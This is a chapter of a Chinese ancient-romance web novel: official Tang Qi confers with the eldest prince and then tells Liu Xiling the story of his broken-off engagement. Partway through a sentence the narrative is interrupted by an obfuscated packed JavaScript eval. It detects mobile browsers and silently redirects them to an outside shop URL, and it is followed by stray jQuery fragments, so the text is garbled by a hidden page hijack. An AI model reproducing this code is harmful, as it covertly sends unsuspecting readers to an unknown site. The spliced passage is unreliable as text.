痛失曹国公这个栋梁，果然是天都觉得冤枉。三月天里居然也飘了三天三夜的大雪，把汴京城灰扑扑的地终于变成了白色一片，夜空中亦是粉霞漫天。
下午的魁星阁空空如也，门外却是由内城禁军守了个严严实实。只见那墙垣之处站立着一个青年，一身素袍黑披站在高处眺望远方，手里捧着一个暖炉。
唐祁正了正衣冠，神色肃穆而顺从，在远处便躬身行了大礼：“臣唐祁，见过殿下。”
青年回首，修眉凤眼面若白玉，他笑道：“唐亦惇，孤晓得你。”正是大皇子李惟。
都说大皇子为人谦和有礼，为重皇家子弟表率。连说话也是和风细雨，这点与姚秉纯倒是有些像，因而君臣相见自有一番极为冗长的寒暄。
坐定之后，唐祁便将老姚给他的那张熟纸递给了李惟。
大皇子一瞧那印章，又仔细看了这对面的青年一眼。那弯弯的修眉动了一动，面上顿时露出一抹笑，“亦惇大才，年纪轻轻能得姚师这般信任推崇！”
“臣惶恐。”
“姚师年迈，如今连陛下都体恤他力有不逮，免了朝见准其宅中养病，想来许多事做来也是不便的，有你在也好！”说着用茶水沾着在桌上徐徐写下十个字：
西探魏蜀界，南开瑶山道。
“当下却是有许多要紧的事，想来姚师也同你说了，孤便直接些！”
这十个字不难猜到，但想来前者更重要。
南拓一事一直是皇帝心中所想，但为了制衡曹氏，这一块无论如何也不会给了他。不过，却也不必然要给大皇子，因此还是需要争取一番。
但当务之急还是西北之地。此地联通关外，长期为曹氏所控，军威如神之人如今訇然离世，那内外防线就是再固若金汤，也得震上一震，何况是那本就有嫌隙的延军集团和西北各国呢？此事大有可为。
机不可失失不再来，必然是要大大操弄谋划的，再等下去，别说他们了，皇帝也未必能插的上手。
说来，李惟与唐祁年龄相仿，交谈之中还是颇有共通之处。加之前夜姚秉纯又将西北各城、曹氏各部与朝廷各方的纠葛稍加点拨，唐祁熟览地图地貌，又写过《平万象书》以助西北大胜。
一番言谈，三两下里，便捋顺了西线几线和各处要点。
终是叫大皇子大赞“姚师好福气”，又约了下次与诸学子一会。
——分割线（晋江原创古言）——
几日下来，唐祁终是松了一大口气，挖心刻肺数日，只为这会面，自然是不眠不休了好几日。只是等这一阵忙回来，三月已是要过完了。
他终于有空来管家里的那个小娘子了。
本想着这几日将她带在身边，但瞧着那夜之后人家无比识趣不粘人，乖觉的很，正好他忙，也就由着她去了。但她性子这么古怪，晾了这么久没理她，不晓得生气了没有。
夜半三更，唐家官人倚在凳子上看着闲书，说院子里都睡了，便叫她来奉茶点香。她其实最不愿干这个了，但还是老老实实来了。
瞧着低头忙碌的少女，她穿着石青色的衣袍，细细的脖颈勾在那桌子空里扒拉着香灰，昏黄的灯光下，发髻用什么东西挽着的紧紧的，但还是有一缕头发没挽上去，很匆忙，像是刚准备躺下又重新挽的。
“好了。”她将盒子往里一推。
“嗯。”
“那没什么事我先回去了。”
“你没什么话要跟我说？”
“没有。”她瞧了他一眼，默默抽了回去，“大人今日辛苦，明日事忙，还是早些休息。”
他也瞧她一眼，“你在生气。”
“没有。”
他以为她是因为被冷落而生气，想着哄一哄，缓声道：“这几日忙，想着忙完了再跟你细说。那日……”
怎料她打断了他：“大人有什么跟我好细说的？不过是一时酒醉，大人莫要当回事。”
唐祁闻言，嘴上仍是一哂，“是吗？这么说不是那夜我轻薄了你。是你自愿的？”
“是啊。”刘溪鸰淡然道，拔脚就走，但当然没走出去几步便被拽住了。
唐祁仍是笑，“气性不小！就这么豁得出去？”他晓得她打小的性子，定是不高兴的。
她拧着眉挣扎那手腕子，嘴上还是说：“我得回去了。”那语气平静的很。
可她向来不是那种故作姿态的人，就算是气他那日之后没再找她，怕他翻脸不认什么的，也不必绷成这样吧？
他一面捏得更紧，“依着你的意思，若我现在想对你做些什么，那你也听之任之？反正不过一时兴起！”
她先是一愣，面上紧接着浮出一抹绯色，也不挣扎了：“大人想做什么便做什么好了，旁人谁能置喙？谁算得过你，谁有你豁得出去？什么话张嘴就来!”
这话一听便是蹊跷，他眉头皱起：“我说什么了？”他还什么都没说呢。
“犯不着跟我说，只是下回再有这样的事，大人就莫要拿什么有婚约的话做那么多戏。”
天知道京郊的那个下午她听见那句“我已有婚约在身”的时候心里是个什么滋味，既是难堪又是尴尬又是歉意。她还以为沈家要逼他要跟人家解除婚约，结果呢？根本没有婚约这回事。
为了激她跑回去，他可真舍得下功夫。
哦，婚约。他恍然，顿了顿才道：“看来你都晓得了。”
当然，她迟早也是要晓得的。
“只晓得我该晓得的，其实也没什么稀奇的，是大人惯常的好手段。”
这里面听来怕是有很多想法和怨气。他松了嘴角：“什么手段？你说说，我看看是不是冤枉了我。”
她冷哼一声，还能冤枉你？“拿婚约当幌子先骗了我，再骗我舅舅。想要的不直接说，都是想着法子算计着人家冲在前头，螳螂捕蝉黄雀在后么，大人使得惯，冤枉么？”
唐祁这才明白她这个气是怎么回事，闹了半天还是去年的事。他笑了一声，想叉了。
也罢，是他没说清，但事实上那会子话赶话的也很难说清。后来不也没机会说？
他想了想，先问：“那你说，我算计了你这么多，究竟图个什么呢？”
是啊，图什么呢？她一时想不明白，但总之不是什么好心。“玩弄人于股掌之中的快意。”
唐祁一听，又笑了，“说的也没错。那不妨叫你听听更有趣的？”
于是将那订亲一事一五一十讲给她听了。
——分割线——
他自小家穷，十六岁时，久病的父亲去了，人是没了但也少了些药钱，手头到底是宽裕些了。母亲便想着早些把婚事定了，攒了些银子说了县里磨坊老板的女儿韦氏，且听说韦氏娘家跟县尉能攀上些关系。想着他若能考中，弄个县官当当也不是什么问题，县尉什么的，也算是攀得起。
他只见过韦氏一面，好看是好看，但说他书读多了迂腐也好，志不在此也罢，皮相于他从来不是顶要紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13488859|137641||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的。自见那韦氏第一眼，他便觉得那是个麻烦人，也不大想娶，而韦氏家里瞧着也不是什么好相与的。
因着他老娘总说自己一定能考上，乃真真才高八斗的举子，韦氏也才应了亲事收了钱等了那么一两年；后来他真的考上了，韦家也是明面上满口答应等他回来完婚，毕竟考得也是真好。
刚考上那几年，他还是没什么钱，想着在外做官过些年再说，若那韦氏真等得几年，娶进门也算是对得起这门约，若等不得，兴许这婚约拖着拖着也就拖黄了，也就不必他出手来解决。
在黄州任上没几年，家里便来信催他回去娶亲。他大小是个知县，公事忙可以作为不回的借口，只是这期间要的钱也是日益见涨，所谓人可以不回来，但子儿是不能不回的。
于是老娘屡屡来信催，他起初还是会寄一些去。后来村里又传出了韦氏和旁人的闲言碎语，他忙着写书，又常常接京中徐侍郎的一些私活，便实在懒得应付下去。
奈何唐老娘钱也出了，礼也过了，于是婚事也就搁在这处进退两难了。唐祁自然是懒得理会，便回信说若是不愿意，可提退婚的事。
这个退婚可就大有讲究，谁提谁错，谁错谁亏，何况他还是个官。就这么僵着了又拖了些时日，这些唐祁也都充耳不闻，懒得管。
那韦氏大约也是没料到这他一走就真是好几年，到后面钱也不给了，更不提过门的事，本想着等他回来，左是他忍不了退婚，闹一出再拿钱走人，右便是知县夫人的康庄大道，横竖亏不死她。
奈何这唐大官人就是沉得住气，竟真的半点音讯全无。
几年下来更大觉没有指望，她生得颇有姿色，身边也不缺那些献殷勤的狗皮膏药，只是如不趁着年轻再寻出路，怕是就晚了。
但这县太爷夫人的福横竖是享不着了。没多久，家乡便又传出来她和旁人勾连的消息。
这人不是旁人，正是唐祁的另一门远房亲戚，算下来他得叫伯父，乃是县里的员外。
唐员外年余五十，家中个个不能看，一眼就瞧上了这个韦氏，一个有钱，一个好看，这无媒苟合一来二去便有了些时日。
这些唐祁都晓得。但这样的事情说来理亏的是那韦氏，但他老娘又在中间左右掰扯礼金的事，他人又不在，若贸然弄出些动静来，保不齐招致些祸患。横竖听着头疼，便遣人去信叫老娘不要再管，只要他不回去，韦氏再怎么蹦跶也没事。
如此，他也正好清净了几年，专心自己的事。
要说还是韦氏运气好，颇得唐员外的喜爱，前些年唐员外夫人死了，便迫不及待说要娶她填房，而那时唐祁调往庐州的事情才下了文，他也未刻意提及。
在韦氏眼里，他便仍是个小县官，不提婚事也罢，还又不拿钱，自然赶着主动解除婚约。
如此，唐韦两家的婚事才作了罢，而那也是去年的事。
此刻，他端了茶，挑了挑灯芯。“后来我去了庐州就更忙了，再后来你来了，其他你都知道了。”
“你们没再……有什么联系？”
他笑了笑：“那韦氏如今已做了夫人，过得顺心顺意。我也有我自己要做的事。”
“竟然这样放过韦氏？”依着他那又爱算计又爱报复人的性子，韦氏错在先他为何会放过她？
“我本也没想过要娶她。”唐祁叹了口气，含了口青梅细细咀嚼，“她也是可怜人，守了这么些年，得了她应得的，我也不必为了此事劳力伤神。何必呢？”